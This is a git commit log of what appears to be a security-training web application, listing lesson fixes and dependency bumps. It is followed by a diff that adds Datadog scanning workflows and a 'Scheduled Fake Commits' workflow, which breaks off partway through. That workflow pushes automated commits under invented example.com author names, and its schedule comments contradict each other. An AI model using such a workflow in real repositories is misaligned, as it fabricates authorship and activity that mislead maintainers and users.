7b81247dd1 fix: HijackSession lesson template deprecated Tymeleaf attribute 2023-08-26 02:57:50 +02:00
Àngel Ollé Blázquez
3bc2e57c9c Fix NPE in IDOR lesson 2023-08-26 02:22:33 +02:00
Àngel Ollé Blázquez
c3ec168d59 Add new assignment IT tests 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
a67fbf5a5a fix: XSS mitigation 2023-08-26 01:30:17 +02:00
Àngel Ollé Blázquez
3365c8d447 Remove wrong files 2023-08-25 22:50:40 +02:00
Àngel Ollé Blázquez
368c046779 fix: Stored Cross-Site Scripting Lesson 2023-08-25 20:55:26 +02:00
dependabot[bot]
8749137d1e chore: bump org.webjars:jquery from 3.6.4 to 3.7.0
Bumps [org.webjars:jquery](https://github.com/webjars/jquery) from 3.6.4 to 3.7.0.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.6.4...jquery-3.7.0)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-25 00:31:04 +02:00
Àngel Ollé Blázquez
786cabd251 Make webjar dependencies version agnostic 2023-08-24 16:43:28 +02:00
dependabot[bot]
dda8b10f55 chore: bump org.jruby:jruby from 9.4.2.0 to 9.4.3.0
Bumps org.jruby:jruby from 9.4.2.0 to 9.4.3.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-19 00:20:59 +02:00
dependabot[bot]
d6ca083529 chore: bump commons-io:commons-io from 2.11.0 to 2.13.0
Bumps commons-io:commons-io from 2.11.0 to 2.13.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-18 16:15:17 +02:00
test2user-aqil
7c92d625dd doc: fix version strings
Replace `2023.3` with `2023.4`
2023-08-16 15:59:23 +02:00
Àngel Ollé Blázquez
4ba818533c fix: WebWolf JWT jquery webjar 2023-08-09 01:32:03 +02:00
Nanne Baars
a9b1fd66b8
feat: implement JWT jku example (#1552)
Closes #1539
2023-08-08 17:18:22 +02:00
dependabot[bot]
8f6e47e6d4
chore: bump com.nulab-inc:zxcvbn from 1.7.0 to 1.8.0 (#1542)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.7.0...1.8.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-08-04 16:34:49 +02:00
dependabot[bot]
61de52840f
chore: bump com.diffplug.spotless:spotless-maven-plugin from 2.33.0 to 2.38.0 (#1535)
* chore: bump com.diffplug.spotless:spotless-maven-plugin

Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.33.0 to 2.38.0.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.33.0...lib/2.38.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* chore: format code

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Nanne Baars <nanne.baars@owasp.org>
2023-07-30 15:10:31 +02:00
dependabot[bot]
fd3eb2451c
chore: bump guava from 31.1-jre to 32.1.1-jre (#1530)
Bumps [guava](https://github.com/google/guava) from 31.1-jre to 32.1.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-29 12:35:06 +02:00
dependabot[bot]
32fa1ec0a6
chore: bump jquery from 3.5.1 to 3.6.4 (#1529)
Bumps [jquery](https://github.com/webjars/jquery) from 3.5.1 to 3.6.4.
- [Commits](https://github.com/webjars/jquery/compare/jquery-3.5.1...jquery-3.6.4)

---
updated-dependencies:
- dependency-name: org.webjars:jquery
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-07-27 13:04:46 +02:00
Àngel Ollé Blázquez
ad00119b0d Add Assignment7 Tests 2023-07-18 00:38:23 +02:00
Àngel Ollé Blázquez
25f49537e7 bug: Fix IDOR lesson 2023-07-16 17:14:27 +02:00
dependabot[bot]
8cb735e623 chore: bump joonvena/robotframework-reporter-action from 2.1 to 2.2
Bumps [joonvena/robotframework-reporter-action](https://github.com/joonvena/robotframework-reporter-action) from 2.1 to 2.2.
- [Release notes](https://github.com/joonvena/robotframework-reporter-action/releases)
- [Commits](https://github.com/joonvena/robotframework-reporter-action/compare/v2.1...v2.2)

---
updated-dependencies:
- dependency-name: joonvena/robotframework-reporter-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 16:01:06 +02:00
dependabot[bot]
155a40aab4 chore: bump docker/build-push-action from 4.1.0 to 4.1.1
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.0 to 4.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.0...v4.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:55:22 +02:00
dependabot[bot]
6c4ddbbaad chore: bump maven-surefire-plugin from 3.1.0 to 3.1.2
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.0 to 3.1.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.0...surefire-3.1.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-07-16 15:41:25 +02:00
dependabot[bot]
d704f69879
chore: bump commons-compress from 1.22 to 1.23.0 (#1514)
Bumps commons-compress from 1.22 to 1.23.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-15 09:28:40 +02:00
dependabot[bot]
3b2b613aa5
chore: bump asciidoctorj from 2.5.3 to 2.5.10 (#1498)
Bumps [asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.3 to 2.5.10.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.10/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.3...v2.5.10)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-18 20:21:53 +02:00
Nanne Baars
934ba3e496
fix: remove steps from release script (#1509)
Closes gh-1383
2023-06-18 20:13:38 +02:00
Àngel Ollé Blázquez
8ec718c1ef format 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
1df7ca61a3 Text content improvement 2023-06-15 19:26:33 +02:00
Àngel Ollé Blázquez
75398feca0 Add hints 2023-06-15 19:26:33 +02:00
dependabot[bot]
76a2365abf
chore: bump docker/setup-qemu-action from 2.1.0 to 2.2.0 (#1503)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-14 10:31:00 +02:00
dependabot[bot]
015216df5f
chore: bump docker/login-action from 2.1.0 to 2.2.0 (#1502)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.1.0 to 2.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.1.0...v2.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 17:06:35 +02:00
dependabot[bot]
60fc807d36
chore: bump docker/build-push-action from 4.0.0 to 4.1.0 (#1501)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.0.0 to 4.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.0.0...v4.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-13 10:50:53 +02:00
Nanne Baars
636a2bdaf5
fix: robotframework fails due to updated dependencies (#1508) 2023-06-13 10:00:50 +02:00
dependabot[bot]
816a694c84
chore: bump maven-surefire-plugin from 3.0.0-M9 to 3.1.0 (#1499)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M9 to 3.1.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M9...surefire-3.1.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 21:31:54 +02:00
dependabot[bot]
06a55ab278
chore: bump maven-checkstyle-plugin from 3.2.1 to 3.3.0 (#1496)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.2.1 to 3.3.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.2.1...maven-checkstyle-plugin-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-07 09:41:13 +02:00
dependabot[bot]
0136c1070f
chore: bump spring-boot-starter-parent from 3.0.5 to 3.1.0 (#1497)
Bumps [spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-06 16:21:11 +02:00
Nanne Baars
dce5eeb797 bug: fix Java image inside Docker file
The image now downloads the correct Java version based on the architecture.
2023-06-04 14:56:46 +02:00
Nanne Baars
ca886b4818
feat: upgrade to Spring Boot version 3 (#1477) 2023-06-04 11:19:47 +02:00
dependabot[bot]
ff3a2983e2
chore: bump zxcvbn from 1.5.2 to 1.7.0 (#1471)
Bumps [zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.5.2 to 1.7.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/master/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.5.2...1.7.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:21:17 +02:00
dependabot[bot]
6f0b88f9b6
chore: bump cglib-nodep from 2.2 to 3.3.0 (#1470)
Bumps [cglib-nodep](https://github.com/cglib/cglib) from 2.2 to 3.3.0.
- [Release notes](https://github.com/cglib/cglib/releases)
- [Commits](https://github.com/cglib/cglib/commits)

---
updated-dependencies:
- dependency-name: cglib:cglib-nodep
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 16:06:55 +02:00
dependabot[bot]
9d9fb092be
chore: bump maven-enforcer-plugin from 3.2.1 to 3.3.0 (#1468)
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.2.1...enforcer-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 09:01:54 +02:00
dependabot[bot]
4bc53a6666
chore: bump maven-checkstyle-plugin from 3.1.2 to 3.2.1 (#1472)
Bumps [maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-checkstyle-plugin/releases)
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.1.2...maven-checkstyle-plugin-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-06-02 08:54:21 +02:00
dependabot[bot]
61d5fb9ece
chore: bump jsoup from 1.15.4 to 1.16.1 (#1484)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.15.4 to 1.16.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.15.4...jsoup-1.16.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-02 08:43:43 +02:00
dependabot[bot]
6eafa45e4c chore: bump jacoco-maven-plugin from 0.8.8 to 0.8.10
Bumps [jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.8 to 0.8.10.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.8...v0.8.10)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-05-01 23:48:16 +02:00
caputdraconis
ac6de9d788 Fix typo of HijackSession_content0.adoc 2023-04-17 09:04:15 +02:00
dependabot[bot]
f6855bf6a5
chore: bump guava from 30.1-jre to 31.1-jre (#1448)
Bumps [guava](https://github.com/google/guava) from 30.1-jre to 31.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:22 +02:00
dependabot[bot]
f7b4af5023
chore: bump bootstrap from 3.3.7 to 5.2.3 (#1441)
Bumps [bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.2.3.
- [Release notes](https://github.com/webjars/bootstrap/releases)
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.2.3)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:55:08 +02:00
dependabot[bot]
e720eec5f9
chore: bump jruby from 9.3.6.0 to 9.4.2.0 (#1454)
Bumps jruby from 9.3.6.0 to 9.4.2.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:51 +02:00
dependabot[bot]
a43a6125e8
chore: bump actions/cache from 3.2.6 to 3.3.1 (#1453)
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.6 to 3.3.1.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.6...v3.3.1)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:54:05 +02:00
dependabot[bot]
d3e2164716
chore: bump asm from 9.1 to 9.5 (#1460)
Bumps asm from 9.1 to 9.5.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-06 11:53:50 +02:00
Loris Sierra
cbf2e153d9 Restrict SSRF Regexes 2023-03-08 23:22:38 +01:00
dependabot[bot]
0795ff0fc5 chore: bump commons-io from 2.6 to 2.11.0
Bumps commons-io from 2.6 to 2.11.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:19 +01:00
dependabot[bot]
d7cdfeec2a chore: bump webdrivermanager from 4.3.1 to 5.3.2
Bumps [webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 4.3.1 to 5.3.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-4.3.1...webdrivermanager-5.3.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:09:08 +01:00
dependabot[bot]
491fe2d84d chore: bump maven-enforcer-plugin from 3.0.0 to 3.2.1
Bumps [maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.0.0 to 3.2.1.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.0.0...enforcer-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:08:28 +01:00
dependabot[bot]
a509e8e24e chore: bump commons-text from 1.9 to 1.10.0
Bumps commons-text from 1.9 to 1.10.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-03-01 11:07:37 +01:00
Nanne Baars
e50986a098
fix: challenge 7 (#1433) 2023-02-22 22:55:48 +01:00
Àngel Ollé Blázquez
61dac201f0 Add coverage profile 2023-02-22 14:51:55 +01:00
dependabot[bot]
c5629be618
chore: bump spotless-maven-plugin from 2.29.0 to 2.33.0 (#1426)
Bumps [spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.29.0 to 2.33.0.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.29.0...lib/2.33.0)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:24 +01:00
dependabot[bot]
df8c83fe74
chore: bump eclipse-temurin from 17-jre-focal to 19-jre-focal (#1427)
Bumps eclipse-temurin from 17-jre-focal to 19-jre-focal.

---
updated-dependencies:
- dependency-name: eclipse-temurin
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:36:07 +01:00
dependabot[bot]
6d3813c2ce
chore: bump commons-compress from 1.21 to 1.22 (#1428)
Bumps commons-compress from 1.21 to 1.22.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:52 +01:00
dependabot[bot]
ecfa0197af
chore: bump maven-surefire-plugin from 3.0.0-M5 to 3.0.0-M9 (#1429)
Bumps [maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.0.0-M5 to 3.0.0-M9.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.0.0-M5...surefire-3.0.0-M9)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:36 +01:00
dependabot[bot]
8467ae8a0b
chore: bump jsoup from 1.14.3 to 1.15.4 (#1430)
Bumps [jsoup](https://github.com/jhy/jsoup) from 1.14.3 to 1.15.4.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.14.3...jsoup-1.15.4)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:20 +01:00
dependabot[bot]
5243fa2bf2
chore: bump jose4j from 0.7.6 to 0.9.3 (#1431)
Bumps [jose4j](https://bitbucket.org/b_c/jose4j) from 0.7.6 to 0.9.3.
- [Commits](https://bitbucket.org/b_c/jose4j/branches/compare/jose4j-0.9.3..jose4j-0.7.6)

---
updated-dependencies:
- dependency-name: org.bitbucket.b_c:jose4j
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-22 13:35:01 +01:00
dependabot[bot]
36f99dede8 Bump actions/cache from 3.2.5 to 3.2.6
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.5 to 3.2.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.5...v3.2.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-22 13:34:10 +01:00
Nanne Baars
5dbe2eaf19 refactor: update challenge code
- Flags are now wired through a Spring config
- Introduced Flag class
- Removed Flags from the FlagController
2023-02-22 11:01:34 +01:00
Nanne Baars
1b49b2fd3b chore: format markdown file 2023-02-22 11:01:34 +01:00
Nanne Baars
b49c61636b ci: add maven and docker to dependabot configuration 2023-02-22 11:01:34 +01:00
Nanne Baars
8269207d6b docs: add documentation we start using Conventional Commits.
Fixes #1022
2023-02-22 11:01:34 +01:00
Nanne Baars
de2f568229 chore: back to snapshot version after release 2023-02-22 11:01:34 +01:00
Nanne Baars
9f6cf39ff2 ci: add distribution in snapshot job 2023-02-22 11:01:34 +01:00
Nanne Baars
19d54dbe95 chore: release version 2023.4 2023-02-22 11:01:34 +01:00
803 changed files with 12033 additions and 12314 deletions

View File

@ -0,0 +1,18 @@
on: [push]
name: DDSCA
jobs:
software-composition-analysis:
runs-on: ubuntu-latest
name: Datadog SBOM Generation and Upload
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check imported libraries are secure and compliant
id: datadog-software-composition-analysis
uses: DataDog/datadog-sca-github-action@main
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com

View File

@ -0,0 +1,21 @@
on: [push]
name: DDSDS
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code for comitted secrets
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
secrets_enabled: true
static_analysis_enabled: false
cpu_count: 2

View File

@ -0,0 +1,23 @@
on: [push]
name: DDSAST
jobs:
static-analysis:
runs-on: ubuntu-latest
name: Datadog Static Analyzer
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Check code meets quality and security standards
id: datadog-static-analysis
uses: DataDog/datadog-static-analyzer-github-action@v1
with:
dd_api_key: ${{ secrets.DD_API_KEY }}
dd_app_key: ${{ secrets.DD_APP_KEY }}
dd_site: datadoghq.com
cpu_count: 8
env:
DD_API_KEY: ${{ secrets.DD_API_KEY }}
DD_APP_KEY: ${{ secrets.DD_APP_KEY }}
DD_SITE: datadoghq.com

View File

@ -0,0 +1,171 @@
name: Scheduled Fake Commits
on:
# Trigger the workflow on a schedule.
schedule:
# This expression means "run every 3 minutes". Useful for testing.
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
- cron: "0 */12 * * *" # Original schedule: every 8 hours
# To trigger manually for testing, you can add workflow_dispatch:
# workflow_dispatch:
jobs:
create_scheduled_commits:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
# Fetch the full history to ensure pushes work correctly
fetch-depth: 0
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
# Ensure you have a secret named GITEA_TOKEN with appropriate permissions (including write:actions or api)
token: ${{ secrets.GLOBAL_KEY }} # Replace GITEA_TOKEN with the name of your secret
- name: Set up Git config
# Configure Git user details globally for the runner
run: |
echo "setting up git config"
git config --global user.name "Gitea Actions Bot"
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
echo "git config setup complete"
- name: Create and Push Commits and Trigger Workflows
id: push_commits_and_trigger # Updated ID
env:
# Define your list of authors here. Each author should be on a new line,
# formatted as "Author Name <author@email.com>".
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
# For debugging, you can define it directly here as you have done.
AUTHOR_LIST: |
Author One <author1@example.com>
Author Two <author2@example.com>
Author Three <author3@example.com>
Author Four <author4@example.com>
Author Five <author5@example.com>
Author Six <author6@example.com>
Author Seven <author7@example.com>
Author Eight <author8@example.com>
Author Nine <author9@example.com>
Author Ten <author10@example.com>
DWSAuthor One <dwsauthor1@example.com>
DWSAuthor Two <dwsauthor2@example.com>
DWSAuthor Three <dwsauthor3@example.com>
DWSAuthor Four <autdwshor4@example.com>
